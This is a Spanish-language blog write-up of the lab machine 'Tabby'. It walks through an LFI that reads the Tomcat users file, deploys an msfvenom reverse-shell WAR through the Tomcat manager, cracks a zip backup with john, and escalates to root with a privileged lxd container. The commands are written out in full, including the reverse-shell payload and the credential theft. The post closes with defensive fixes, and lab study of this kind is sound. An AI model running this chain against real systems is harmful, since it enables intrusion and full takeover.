Entrada

Tabby

LFI que filtra las credenciales de Tomcat, despliegue de un WAR y escalada abusando del grupo lxd.

Tabby

Publicado por Jaime Hereza Niño

Publicado 01/08/2026 Actualizado 04/10/2026
5 min de lectura
Mi puntuación
23390 votos
MáquinaSODificultadIP
TabbyLinuxEasy10.10.10.194

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.10.10.194 tabby

Resumen

Tabby es una cadena completa y muy entretenida: un LFI en la web filtra las credenciales del Tomcat, con ellas desplegamos un WAR malicioso para entrar, crackeamos un backup protegido cuya contraseña está reutilizada para saltar a otro usuario, y rematamos abusando del grupo lxd para hacernos root. Un recorrido por varios conceptos clásicos, todos encadenados.

Vulnerabilidad

LFI (Local File Inclusion)

La web incluye ficheros según un parámetro de la URL (news.php?file=) sin sanear, así que podemos pedir rutas del sistema con ../ y leer ficheros de configuración, entre ellos el de usuarios de Tomcat.

Tomcat Manager + despliegue de WAR

Con las credenciales y el rol manager-script, la API de texto de Tomcat permite subir y desplegar una aplicación WAR. Metemos una con una reverse shell y Tomcat la ejecuta.

Grupo lxd

Un usuario del grupo lxd puede crear un contenedor privilegiado y montar dentro el sistema de ficheros del host. Desde el contenedor, es root sobre todo el disco del anfitrión: escalada total.

Reconocimiento

Escaneo completo de puertos

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess tabby
PuertoServicioVersión
22sshOpenSSH 8.2p1
80httpApache httpd 2.4.41
8080httpApache Tomcat

Un Apache normal en el 80 y un Tomcat en el 8080. La web del 80 apunta al dominio megahosting.htb (lo añadimos al /etc/hosts).

Enumeración

En la web hay un enlace del tipo news.php?file=statement. Ese parámetro huele a LFI, así que lo probamos

┌──(jaime㉿kali)-[~]└─$ curl "http://megahosting.htb/news.php?file=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash ...

Hay LFI confirmado. Lo usamos para leer el fichero de usuarios de Tomcat (en Ubuntu, Tomcat 9 lo tiene en /usr/share/tomcat9/etc/tomcat-users.xml)

┌──(jaime㉿kali)-[~]└─$ curl "http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml"
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

Credenciales de Tomcat: tomcat / $3cureP4s5w0rd123!, y con el rol manager-script, que es justo el que permite desplegar por la API de texto.

Explotación

Paso 1 — generar el WAR. Creo una reverse shell JSP empaquetada como WAR con msfvenom

┌──(jaime㉿kali)-[~]└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=443 -f war -o rev.war

Paso 2 — desplegar. Lo subo con el manager de texto de Tomcat usando las credenciales sacadas por el LFI

┌──(jaime㉿kali)-[~]└─$ curl -u 'tomcat:$3cureP4s5w0rd123!' --upload-file rev.war \
"http://tabby:8080/manager/text/deploy?path=/rev" OK - Deployed application at context path [/rev]

Paso 3 — disparar. Me pongo en escucha y llamo a la aplicación para que ejecute la shell

┌──(jaime㉿kali)-[~]└─$ curl http://tabby:8080/rev/
tomcat@tabby:/var/lib/tomcat9$ id uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

Escalada de privilegios

Paso 1 — del tomcat al usuario ash

Fisgando el sistema, en /var/www/html/files hay un backup comprimido

tomcat@tabby:/var/www/html/files$ ls 16162020_backup.zip

Está protegido con contraseña. Nos lo llevamos a nuestra máquina y lo crackeamos con zip2john + john

┌──(jaime㉿kali)-[~]└─$ zip2john 16162020_backup.zip > hash
┌──(jaime㉿kali)-[~]└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
admin@it (16162020_backup.zip)

La contraseña del zip es admin@it, y está reutilizada para el usuario del sistema ash

tomcat@tabby:~$ su ash Password: admin@it ash@tabby:~$ id uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),116(lxd)

Paso 2 — de ash a root por el grupo lxd

ash pertenece al grupo lxd. Eso permite crear un contenedor privilegiado y montar el disco del host dentro. Importamos una imagen ligera de Alpine y la arrancamos privilegiada

ash@tabby:~$ lxc init alpine privesc -c security.privileged=true ash@tabby:~$ lxc config device add privesc disco disk source=/ path=/mnt/root recursive=true ash@tabby:~$ lxc start privesc ash@tabby:~$ lxc exec privesc /bin/sh

Dentro del contenedor somos root, y en /mnt/root tenemos TODO el sistema de ficheros del anfitrión con permisos de root

~ # cat /mnt/root/root/root.txt

Flags

ash@tabby:~$ cat /home/ash/user.txt
~ # cat /mnt/root/root/root.txt

Cómo se arregla

La cadena acumula varios fallos, así que el arreglo también. Por capas:

  • Sanear la inclusión de ficheros: validar el parámetro file con lista blanca y bloquear ../; nunca incluir rutas controladas por el usuario.
  • Proteger Tomcat: credenciales fuertes, no dejar el fichero de usuarios al alcance de un LFI y limitar el rol manager-script.
  • No dejar backups accesibles: ese zip no debería estar en el webroot, y menos con una contraseña débil.
  • No reutilizar contraseñas: la del backup abría la cuenta de ash.
  • Vigilar el grupo lxd: pertenecer a lxd equivale a ser root; solo administradores de confianza deberían estar en él.

Conclusiones

Tabby es un recorrido precioso por fallos encadenados: LFI → credenciales → RCE en Tomcat → crackeo de backup → reutilización de contraseña → grupo lxd. Ninguno es muy complejo, pero juntos llevan de un parámetro de URL a root.

Dos ideas para llevarse: cualquier parámetro que incluya ficheros merece una prueba de LFI, y en Linux hay que mirar siempre los grupos del usuario con id — lxd, docker o disk son escaladas directas.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.